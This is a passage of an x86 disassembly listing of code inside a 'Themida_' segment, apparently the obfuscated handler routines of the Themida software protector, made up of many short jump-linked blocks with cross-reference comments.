		add	esp, 4
		jmp	loc_55CFE9
; ---------------------------------------------------------------------------


loc_55C4D0:				; CODE XREF: Themida_:00558B94j
		pop	esi
		mov	edi, ebx
		pop	ebx
		xchg	eax, edi
		not	eax
		jmp	loc_5595F8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_554BFD
; ---------------------------------------------------------------------------


loc_55C4EC:				; CODE XREF: Themida_:0055CC9Cj
		mov	[esp], ecx
		mov	ecx, 5FF0296Eh
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		sub	edx, 5FF0296Eh
		jmp	loc_55E3FD
; ---------------------------------------------------------------------------


loc_55C505:				; CODE XREF: Themida_:0055AC65j
		mov	[esp], edi
		push	esi
		push	12A91779h
		pop	esi
		or	esi, 64A57271h
		add	esi, 4F3A141Ch
		push	303h
		mov	[esp], ecx
		mov	ecx, 5580417Bh
		jmp	loc_556A50
; ---------------------------------------------------------------------------


loc_55C52D:				; CODE XREF: Themida_:00555DA0j
		mov	ebx, [esp]
		jmp	loc_554051
; ---------------------------------------------------------------------------


loc_55C535:				; CODE XREF: Themida_:0055CA67j
		xchg	esi, [esp]
		pop	esp
		xor	edi, 17723F3Ah
		sub	edi, 5F9A2F1Fh
		add	esi, edi
		pop	edi
		jmp	loc_55ECDE
; ---------------------------------------------------------------------------


loc_55C54D:				; CODE XREF: Themida_:00554AF4j
		shl	eax, 2
		jmp	loc_558925
; ---------------------------------------------------------------------------


loc_55C555:				; CODE XREF: Themida_:0055B780j
		pop	edi
		not	edi
		inc	edi
		xchg	ecx, edi
		jmp	loc_5532CC
; ---------------------------------------------------------------------------


loc_55C560:				; CODE XREF: Themida_:00559B92j
		sub	esp, 4
		jmp	loc_55E164
; ---------------------------------------------------------------------------


loc_55C56B:				; CODE XREF: Themida_:005598EBj
		add	esi, 607D7BF0h
		not	esi
		push	ebx
		mov	ebx, 74A81E1Bh
		or	ebx, 2B1B338Fh
		push	ebx
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		not	esi
		jmp	loc_556FA4
; ---------------------------------------------------------------------------


loc_55C590:				; CODE XREF: Themida_:00559110j
		sub	edi, eax
		add	edi, 5BAD4E86h
		mov	eax, [esp]
		jmp	loc_55DB53
; ---------------------------------------------------------------------------


loc_55C5A0:				; CODE XREF: Themida_:00557ABCj
		add	edi, 2D2757E0h
		sub	edi, 91C0F4Ah
		neg	edi
		sub	edi, 0FBCFDE20h
		and	esi, edi
		jmp	loc_55EE71
; ---------------------------------------------------------------------------


loc_55C5BB:				; CODE XREF: Themida_:00559909j
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55A31B
; ---------------------------------------------------------------------------


loc_55C5D2:				; CODE XREF: Themida_:0055ADA2j
		sub	esi, 4
		jmp	loc_55A678
; ---------------------------------------------------------------------------


loc_55C5DA:				; CODE XREF: Themida_:0055EAACj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		pop	esi
		jmp	loc_5541F4
; ---------------------------------------------------------------------------


loc_55C5F8:				; CODE XREF: Themida_:0055A4ACj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55C1FE
; ---------------------------------------------------------------------------


loc_55C602:				; CODE XREF: Themida_:0055865Ej
		xor	[esp+4], ebp
		push	dword ptr [esp]
		jmp	loc_55682B
; ---------------------------------------------------------------------------


loc_55C60E:				; CODE XREF: Themida_:00557FC5j
		add	esi, ebp
		pop	ebp
		add	esi, 4A21356Bh
		add	esi, eax
		sub	esi, 4A21356Bh
		sub	esi, 2CFF3251h
		push	edx
		mov	edx, 7D7070CEh
		jmp	loc_559D45
; ---------------------------------------------------------------------------


loc_55C630:				; CODE XREF: Themida_:00553451j
		push	ebp
		jmp	loc_55BA55
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	79FFh
		mov	[esp], ebx
		push	75A3h
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55BA9A
; ---------------------------------------------------------------------------


loc_55C655:				; CODE XREF: Themida_:0055EB69j
		xor	edi, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_558EC0
; ---------------------------------------------------------------------------


loc_55C664:				; CODE XREF: Themida_:0055E090j
		add	ecx, 4
		push	ebp
		jmp	loc_554FEF
; ---------------------------------------------------------------------------


loc_55C670:				; CODE XREF: Themida_:0055E7B5j
		push	6230h
		mov	[esp], edx
		push	eax
		jmp	loc_55EEC3
; ---------------------------------------------------------------------------


loc_55C67E:				; CODE XREF: Themida_:0055D62Fj
		and	ebx, 38A741BCh
		or	ebx, 15133F4Bh
		inc	ebx
		add	ebx, 622BA933h
		sub	eax, ebx
		jmp	loc_55B769
; ---------------------------------------------------------------------------


loc_55C698:				; CODE XREF: Themida_:0055C179j
		mov	ebp, 3DC45815h
		sub	edx, ebp
		pop	ebp
		add	edx, 0AD58064Dh
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55AF84
; ---------------------------------------------------------------------------


loc_55C6B8:				; CODE XREF: Themida_:00554D83j
		pop	esp
		jmp	loc_559C02
; ---------------------------------------------------------------------------


loc_55C6BE:				; CODE XREF: Themida_:0055BD3Dj
		and	eax, ebx
		pop	ebx
		jmp	loc_55BA76
; ---------------------------------------------------------------------------


loc_55C6C6:				; CODE XREF: Themida_:00558CC9j
		xor	edi, esi
		xor	esi, edi
		jmp	loc_5530AF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55C204
; ---------------------------------------------------------------------------


loc_55C6E1:				; CODE XREF: Themida_:0055CDCCj
		xor	edi, eax
		pop	eax
		jmp	loc_556F84
; ---------------------------------------------------------------------------


loc_55C6E9:				; CODE XREF: Themida_:005548B4j
		mov	edx, 2
		jmp	loc_55EE0C
; ---------------------------------------------------------------------------


loc_55C6F3:				; CODE XREF: Themida_:0055437Cj
		pop	edi
		add	esi, 7D7070CEh
		jmp	loc_557FBF
; ---------------------------------------------------------------------------


loc_55C6FF:				; CODE XREF: Themida_:0055E78Aj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	413Bh
		jmp	loc_55A368
; ---------------------------------------------------------------------------


loc_55C70E:				; CODE XREF: Themida_:005567DCj
		pop	edx
		jmp	loc_554ECA
; ---------------------------------------------------------------------------


loc_55C714:				; CODE XREF: Themida_:00557A5Cj
		push	445Bh
		mov	[esp], ebp
		push	eax
		push	4C65060h
		jmp	loc_559631
; ---------------------------------------------------------------------------


loc_55C727:				; CODE XREF: Themida_:0055400Ej
		pop	eax
		sub	eax, 353C0B8Eh
		mov	edi, [esp]
		add	esp, 4
		neg	eax
		sub	eax, 6BD0A032h
		xor	esi, eax
		pop	eax
		neg	esi
		not	esi
		jmp	loc_555837
; ---------------------------------------------------------------------------


loc_55C749:				; CODE XREF: Themida_:0055BE79j
		add	ecx, 2AAE0AAFh
		inc	ecx
		neg	ecx
		add	ecx, 82E18A53h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AD04
; ---------------------------------------------------------------------------


loc_55C768:				; CODE XREF: Themida_:0055BC84j
		sub	esp, 4
		mov	[esp], ebp
		push	4209h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	edi
		jmp	loc_558C6D
; ---------------------------------------------------------------------------


loc_55C796:				; CODE XREF: Themida_:0055B9ADj
		mov	esp, [esp]
		jmp	loc_556E11
; ---------------------------------------------------------------------------


loc_55C79E:				; CODE XREF: Themida_:00552F81j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebx
		jmp	loc_5573A8
; ---------------------------------------------------------------------------


loc_55C7B3:				; CODE XREF: Themida_:00553864j
		mov	ecx, 4
		mov	esi, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, esi
		jmp	loc_5597D3
; ---------------------------------------------------------------------------


loc_55C7D4:				; CODE XREF: Themida_:00554077j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55C7D9:				; CODE XREF: Themida_:00556380j
		pop	esp
		jmp	loc_55B881
; ---------------------------------------------------------------------------


loc_55C7DF:				; CODE XREF: Themida_:0055C8FBj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55C7E4:				; CODE XREF: Themida_:00557558j
		mov	edx, [esp]
		push	eax
		jmp	loc_555FE8
; ---------------------------------------------------------------------------


loc_55C7ED:				; CODE XREF: Themida_:00554D08j
		add	eax, 4
		push	2A47h
		mov	[esp], ebp
		mov	ebp, 2
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55515F
; ---------------------------------------------------------------------------


loc_55C80F:				; CODE XREF: Themida_:0055F230j
		pop	ebx
		jmp	loc_55E81A
; ---------------------------------------------------------------------------


loc_55C815:				; CODE XREF: Themida_:00553821j
		mov	edx, 92EDEBF5h
		xor	ebx, edx
		pop	edx
		add	ebp, ebx
		jmp	loc_5584DB
; ---------------------------------------------------------------------------


loc_55C824:				; CODE XREF: Themida_:0055A707j
		xor	esi, [esp]
		jmp	loc_55AA8F
; ---------------------------------------------------------------------------


loc_55C82C:				; CODE XREF: Themida_:0055B345j
		pop	ecx
		jmp	loc_553D86
; ---------------------------------------------------------------------------


loc_55C832:				; CODE XREF: Themida_:00557A02j
		and	ebx, 0E2D5396h
		or	ebx, 1E5F5B2Ah
		sub	ebx, 0DEA63341h
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 7B08304Dh
		shr	edx, 2
		push	esi
		mov	esi, 6C3C251Dh
		sub	esi, 0F1881918h
		or	edx, esi
		pop	esi
		shr	edx, 5
		jmp	loc_55B939
; ---------------------------------------------------------------------------


loc_55C867:				; CODE XREF: Themida_:0055E859j
		xor	edi, edx
		pop	edx
		xor	edi, 5CCF425Bh
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	eax
		jmp	loc_55BD4D
; ---------------------------------------------------------------------------


loc_55C87C:				; CODE XREF: Themida_:00554F7Aj
		add	esp, 4
		add	al, bl
		jmp	loc_553391
; ---------------------------------------------------------------------------


loc_55C889:				; CODE XREF: Themida_:0055530Aj
		sub	eax, 619A5BAFh
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, 1195756h
		jmp	loc_55E0D8
; ---------------------------------------------------------------------------


loc_55C89C:				; CODE XREF: Themida_:0055A032j
		push	edi
		push	esp
		jmp	loc_55828B
; ---------------------------------------------------------------------------


loc_55C8A3:				; CODE XREF: Themida_:00556183j
		mov	[esp], edx
		mov	edx, 63564A55h
		sub	esi, edx
		jmp	loc_5549BC
; ---------------------------------------------------------------------------


loc_55C8B2:				; CODE XREF: Themida_:0055DF65j
		mov	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 71B171A6h
		add	eax, edi
		push	ecx
		mov	ecx, 7F1B2128h
		sub	ecx, 2328568Ah
		shr	ecx, 5
		inc	ecx
		add	ecx, 6ED1DB51h
		jmp	loc_55A386
; ---------------------------------------------------------------------------


loc_55C8EC:				; CODE XREF: Themida_:00552F40j
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55C7DF
; ---------------------------------------------------------------------------


loc_55C900:				; CODE XREF: Themida_:0055B7E7j
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		mov	ah, dl
		jmp	loc_55EA84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55C90F:				; CODE XREF: sub_5747D8-1589Dj
		sub	cl, ah
		pop	eax
		mov	ah, cl
		jmp	loc_55E4CB
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55C919:				; CODE XREF: Themida_:00557291j
		xchg	eax, [esp]
		jmp	loc_55B36D
; ---------------------------------------------------------------------------


loc_55C921:				; CODE XREF: Themida_:00555DA7j
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, edi
		jmp	loc_555FCE
; ---------------------------------------------------------------------------


loc_55C92C:				; CODE XREF: Themida_:0055A8CDj
		add	eax, 4
		jmp	loc_557E49
; ---------------------------------------------------------------------------


loc_55C936:				; CODE XREF: Themida_:00555643j
		push	ax
		jmp	loc_55875E
; ---------------------------------------------------------------------------


loc_55C93D:				; CODE XREF: Themida_:0055CC09j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5556DE
; ---------------------------------------------------------------------------


loc_55C948:				; CODE XREF: Themida_:0055A7E5j
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_553D64
; ---------------------------------------------------------------------------


loc_55C956:				; CODE XREF: Themida_:0055AA57j
		push	dword ptr [esp]
		jmp	loc_558EB7
; ---------------------------------------------------------------------------


loc_55C95E:				; CODE XREF: Themida_:0055A1DDj
		pop	esi
		or	esi, 777C095Eh
		inc	esi
		or	esi, 0D5347BCh
		xor	esi, 7F7F7FFBh
		mov	edi, esi
		pop	esi
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_552E8A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	2DE2h
		jmp	loc_55DE50
; ---------------------------------------------------------------------------


loc_55C9AC:				; CODE XREF: Themida_:0055A381j
		mov	[esp], esi
		jmp	loc_55BF31
; ---------------------------------------------------------------------------


loc_55C9B4:				; CODE XREF: Themida_:0055DD2Bj
		not	ecx
		shl	ecx, 6
		shl	ecx, 6
		sub	ecx, 0C26D09B7h
		add	edx, ecx
		pop	ecx
		mov	esi, edx
		pop	edx
		jmp	loc_5538CF
; ---------------------------------------------------------------------------


loc_55C9CD:				; CODE XREF: Themida_:00557334j
		mov	ecx, esi
		pop	esi
		pop	edx
		add	edi, ecx
		pop	ecx
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5588AB
; ---------------------------------------------------------------------------


loc_55C9E5:				; CODE XREF: Themida_:00558939j
		mov	edx, 4
		sub	esi, 65684FDDh
		add	esi, 482C2C85h
		jmp	loc_5578FB
; ---------------------------------------------------------------------------


loc_55C9FB:				; CODE XREF: Themida_:00558429j
		push	916h
		jmp	loc_55447D
; ---------------------------------------------------------------------------


loc_55CA05:				; CODE XREF: Themida_:0055661Dj
		push	ebx
		push	ecx
		mov	ecx, 5B5D52B9h
		add	ecx, 60700C52h
		shl	ecx, 8
		add	ecx, 8FAC2720h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55D16C
; ---------------------------------------------------------------------------


loc_55CA23:				; CODE XREF: Themida_:005557CBj
		push	edx
		jmp	loc_559935
; ---------------------------------------------------------------------------


loc_55CA29:				; CODE XREF: Themida_:005555FFj
		sub	ecx, 642F3EBBh
		xor	ecx, 1A174509h
		add	ecx, 0AD88329Ah
		mov	edx, ecx
		pop	ecx
		add	edi, 64275604h
		jmp	loc_55D3C2
; ---------------------------------------------------------------------------


loc_55CA49:				; CODE XREF: Themida_:0055BF58j
		mov	ecx, 33859AFh
		mov	edx, 7A0072A2h
		sub	edx, ecx
		pop	ecx
		xor	edi, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55C535
; ---------------------------------------------------------------------------


loc_55CA6C:				; CODE XREF: Themida_:00556357j
		xor	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		jmp	loc_55659B
; ---------------------------------------------------------------------------


loc_55CA7F:				; CODE XREF: Themida_:0055908Ej
		push	ebx
		mov	ebx, 5F09078Bh
		add	[esp+8], ebx
		jmp	loc_55B301
; ---------------------------------------------------------------------------


loc_55CA8E:				; CODE XREF: Themida_:00557D99j
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 27C60DA0h
		push	ecx
		mov	ecx, 3034479Bh
		xor	edx, ecx
		pop	ecx
		not	edx
		sub	edx, 787A0790h
		jmp	loc_55C176
; ---------------------------------------------------------------------------


loc_55CAAD:				; CODE XREF: Themida_:0055A015j
		add	esi, ecx
		add	esi, 37B42F1Bh
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55B7CD
; ---------------------------------------------------------------------------


loc_55CAC5:				; CODE XREF: Themida_:0055404Cj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CACA:				; CODE XREF: Themida_:005570AAj
		sub	ebx, ecx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		add	ecx, esi
		sub	ecx, 38AF0A29h
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5578E3
; ---------------------------------------------------------------------------


loc_55CAE4:				; CODE XREF: Themida_:005586C3j
		push	edi
		mov	edi, 2963B71h
		jmp	loc_55BB2D
; ---------------------------------------------------------------------------


loc_55CAEF:				; CODE XREF: Themida_:00559A59j
		push	ecx
		mov	ecx, 34DD32EEh
		push	edi
		mov	edi, 445451ADh
		jmp	loc_555D19
; ---------------------------------------------------------------------------


loc_55CB00:				; CODE XREF: Themida_:0055D699j
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_55CC64
; ---------------------------------------------------------------------------


loc_55CB13:				; CODE XREF: Themida_:0055851Bj
		add	eax, 4213269h
		add	eax, ecx
		sub	eax, 4213269h
		jmp	loc_559579
; ---------------------------------------------------------------------------


loc_55CB24:				; CODE XREF: Themida_:005579CCj
		xor	dh, 0F8h
		push	cx
		mov	cl, 23h
		add	dh, cl
		pop	cx
		shl	dh, 2
		shl	dh, 3
		shr	dh, 6
		jmp	loc_553BD5
; ---------------------------------------------------------------------------


loc_55CB3D:				; CODE XREF: Themida_:0055D07Bj
		mov	[esp], ebx
		mov	ebx, 221F0A17h
		dec	ebx
		not	ebx
		jmp	loc_558D76
; ---------------------------------------------------------------------------


loc_55CB4D:				; CODE XREF: Themida_:00558759j
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_5565AB
; ---------------------------------------------------------------------------


loc_55CB77:				; CODE XREF: Themida_:00559246j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CB7C:				; CODE XREF: Themida_:00556189j
		add	esi, 73880234h
		add	esi, ecx
		jmp	loc_554141
; ---------------------------------------------------------------------------


loc_55CB89:				; CODE XREF: Themida_:00553213j
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 3F050A68h
		push	13BCh
		mov	[esp], ebp
		push	1
		jmp	loc_55E0A0
; ---------------------------------------------------------------------------


loc_55CBB0:				; CODE XREF: Themida_:005552F1j
		push	edx
		push	4
		jmp	loc_55E1A3
; ---------------------------------------------------------------------------


loc_55CBBB:				; CODE XREF: Themida_:0055D116j
		mov	edx, 1
		push	edi
		jmp	loc_55457E
; ---------------------------------------------------------------------------


loc_55CBC6:				; CODE XREF: Themida_:00558863j
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_554532
; ---------------------------------------------------------------------------


loc_55CBD7:				; CODE XREF: Themida_:0055662Bj
		add	dword ptr [esp], 4
		pop	ebx
		push	471Eh
		mov	[esp], ecx
		mov	ecx, 18906C1Eh
		xor	ecx, 151D08C2h
		neg	ecx
		or	ecx, 4E1B360Eh
		push	edi
		mov	edi, 0FE7BBF2Ah
		sub	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_55C93D
; ---------------------------------------------------------------------------


loc_55CC0E:				; CODE XREF: Themida_:0055D2CDj
		inc	al
		xor	al, 0C2h
		add	bl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CC26:				; CODE XREF: Themida_:0055B9DFj
		sub	edi, 3EE53D2Dh
		push	esi
		mov	esi, 13A260F1h
		add	edi, esi
		pop	esi
		pop	eax
		std
		push	esi
		mov	esi, 0Ah
		jmp	loc_555080
; ---------------------------------------------------------------------------


loc_55CC42:				; CODE XREF: Themida_:005570C1j
		push	0EDAh
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_55A0BC
; ---------------------------------------------------------------------------


loc_55CC54:				; CODE XREF: Themida_:005539E5j
		add	eax, ecx
		add	eax, 533C7788h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_557A39
; ---------------------------------------------------------------------------


loc_55CC64:				; CODE XREF: Themida_:0055CB0Ej
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 11569BCEh
		add	eax, 3B4D26BBh
		sub	eax, 0F240109h
		push	3A08h
		mov	[esp], ebx
		jmp	loc_55D90B
; ---------------------------------------------------------------------------


loc_55CC86:				; CODE XREF: Themida_:005581BDj
		not	ecx
		inc	ecx
		shl	ecx, 2
		shr	ecx, 3
		add	ecx, 5B91E8F5h
		push	ecx
		sub	esp, 4
		jmp	loc_55C4EC
; ---------------------------------------------------------------------------


loc_55CCA1:				; CODE XREF: Themida_:00557FBAj
		mov	[esp], ebx
		jmp	loc_559409
; ---------------------------------------------------------------------------


loc_55CCA9:				; CODE XREF: Themida_:00554AD3j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_552E7A
; ---------------------------------------------------------------------------


loc_55CCBF:				; CODE XREF: Themida_:00555940j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_557171
; ---------------------------------------------------------------------------


loc_55CCDE:				; CODE XREF: Themida_:0055B2C4j
		add	edx, 61833CBEh
		or	esi, edx
		pop	edx
		jmp	loc_5559DB
; ---------------------------------------------------------------------------


loc_55CCEC:				; CODE XREF: Themida_:0055C025j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55A5C5
; ---------------------------------------------------------------------------


loc_55CCF8:				; CODE XREF: Themida_:00555C64j
		add	eax, 46E91A85h
		sub	eax, ebx
		sub	eax, 46E91A85h
		pop	ebx
		add	eax, ebp
		jmp	loc_55941E
; ---------------------------------------------------------------------------


loc_55CD0C:				; CODE XREF: Themida_:00556CD4j
		mov	edx, [esp]
		jmp	loc_559F75
; ---------------------------------------------------------------------------


loc_55CD14:				; CODE XREF: Themida_:0055429Bj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CD28:				; CODE XREF: Themida_:0055E9E4j
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		add	al, bl
		add	al, 4
		sub	al, 0C3h
		push	ecx
		jmp	loc_55853E
; ---------------------------------------------------------------------------


loc_55CD39:				; CODE XREF: Themida_:005595D8j
		and	eax, ebx
		pop	ebx
		and	eax, 3542684Bh
		jmp	loc_55EF40
; ---------------------------------------------------------------------------


loc_55CD46:				; CODE XREF: Themida_:0055E188j
		mov	ebp, eax
		jmp	loc_55B4F7
; ---------------------------------------------------------------------------


loc_55CD4D:				; CODE XREF: Themida_:00553DE9j
		add	ebx, 5ECD2A7Dh
		pop	dword ptr [eax]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CD5A:				; CODE XREF: Themida_:00556F38j
		add	dh, bl
		pop	ebx
		sub	dh, ah
		jmp	loc_5569FC
; ---------------------------------------------------------------------------


loc_55CD64:				; CODE XREF: Themida_:00554809j
		add	esp, 2
		push	ebx
		jmp	loc_55CFBD
; ---------------------------------------------------------------------------


loc_55CD70:				; CODE XREF: Themida_:0055B177j
		mov	[esp], eax
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_553B9F
; ---------------------------------------------------------------------------


loc_55CD8F:				; CODE XREF: Themida_:0055743Fj
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55516F
; ---------------------------------------------------------------------------


loc_55CD9A:				; CODE XREF: Themida_:00556D49j
		shr	eax, 0Eh
		xor	eax, ecx
		xchg	eax, ebx
		jmp	loc_55ED53
; ---------------------------------------------------------------------------


loc_55CDA5:				; CODE XREF: Themida_:005558C3j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0A0h
		shr	dl, 8
		add	dl, 0A3h
		dec	dl
		sub	dl, 9Ch
		jmp	loc_556B03
; ---------------------------------------------------------------------------


loc_55CDC7:				; CODE XREF: Themida_:00558179j
		mov	eax, 1A495434h
		jmp	loc_55C6E1
; ---------------------------------------------------------------------------


loc_55CDD1:				; CODE XREF: Themida_:00558FE6j
		xor	al, dh
		jmp	loc_55DEEB
; ---------------------------------------------------------------------------


loc_55CDD8:				; CODE XREF: Themida_:0055DA3Aj
		add	edi, 17h
		push	ecx
		mov	ecx, 7EAA5004h
		jmp	loc_55333F
; ---------------------------------------------------------------------------


loc_55CDE9:				; CODE XREF: Themida_:00559EB6j
		add	esp, 4
		jmp	loc_55A484
; ---------------------------------------------------------------------------


loc_55CDF4:				; CODE XREF: Themida_:0055B0B1j
		mov	edx, [esp]
		jmp	loc_554B3B
; ---------------------------------------------------------------------------


loc_55CDFC:				; CODE XREF: Themida_:00557DA1j
		add	bl, dl
		sub	bl, 90h
		jmp	loc_55E1D3
; ---------------------------------------------------------------------------


loc_55CE06:				; CODE XREF: Themida_:005566A1j
		shr	edx, 8
		xor	edx, 6A730174h
		shl	edx, 4
		add	edx, 5A1A330Ah
		xor	edx, 0C196715Bh
		add	eax, edx
		pop	edx
		jmp	loc_556D89
; ---------------------------------------------------------------------------


loc_55CE26:				; CODE XREF: Themida_:00558678j
		add	ecx, esi
		pop	esi
		add	ecx, 2
		push	1BA7h
		jmp	loc_55B477
; ---------------------------------------------------------------------------


loc_55CE39:				; CODE XREF: Themida_:005549A2j
		add	al, 84h
		pop	edx
		add	al, bl
		jmp	loc_553EC7
; ---------------------------------------------------------------------------


loc_55CE43:				; CODE XREF: Themida_:00558340j
		mov	ebp, ecx
		jmp	loc_55658C
; ---------------------------------------------------------------------------


loc_55CE4A:				; CODE XREF: Themida_:0055DA0Cj
		dec	esi
		sub	esi, 0C00687DFh
		add	ecx, 0A3A4392h
		jmp	loc_557DE2
; ---------------------------------------------------------------------------


loc_55CE5C:				; CODE XREF: Themida_:005557E3j
		xor	ch, 4Dh
		inc	ch
		push	edx
		mov	dl, 6Dh
		not	dl
		inc	dl
		or	dl, 6Bh
		jmp	loc_55718F
; ---------------------------------------------------------------------------


loc_55CE70:				; CODE XREF: Themida_:0055DBE6j
		mov	ebp, 3A6F064Bh
		not	ebp
		shl	ebp, 6
		add	ebp, 1
		jmp	loc_55E29E
; ---------------------------------------------------------------------------


loc_55CE82:				; CODE XREF: Themida_:00557B65j
		mov	ebx, esi
		pop	esi
		xor	ebx, 8DC366Ah
		or	ebx, 2C1832C7h
		shl	ebx, 7
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		dec	esi
		xchg	esi, ebx
		or	ebx, 3597202Eh
		add	ebx, 80600485h
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_559D62
; ---------------------------------------------------------------------------


loc_55CEB7:				; CODE XREF: Themida_:0055D372j
		sub	esp, 4
		jmp	loc_55D891
; ---------------------------------------------------------------------------


loc_55CEC2:				; CODE XREF: Themida_:005567A4j
		pop	edx
		add	esi, 7B663D40h
		add	esi, ebp
		sub	esi, 7B663D40h
		push	dword ptr [esp]
		jmp	loc_55C2EB
; ---------------------------------------------------------------------------


loc_55CED9:				; CODE XREF: Themida_:00556EE5j
		push	edx
		mov	edx, 46A91D80h
		inc	edx
		jmp	loc_558470
; ---------------------------------------------------------------------------


loc_55CEE5:				; CODE XREF: Themida_:0055B3C4j
		add	ebx, 277D2882h
		add	ebx, 5B532FDBh
		add	ebx, 6F004B41h
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	small 154Fh
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55CF09:				; CODE XREF: Themida_:0055DE8Aj
		sub	edx, 1D485DD0h
		mov	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		sub	ebx, 5FD209F8h
		add	ebx, edi
		add	ebx, 5FD209F8h
		mov	edi, [esp]
		push	esi
		jmp	loc_55C2F7
; ---------------------------------------------------------------------------


loc_55CF2C:				; CODE XREF: Themida_:00554423j
		push	7A13h
		mov	[esp], edi
		jmp	loc_558D26
; ---------------------------------------------------------------------------


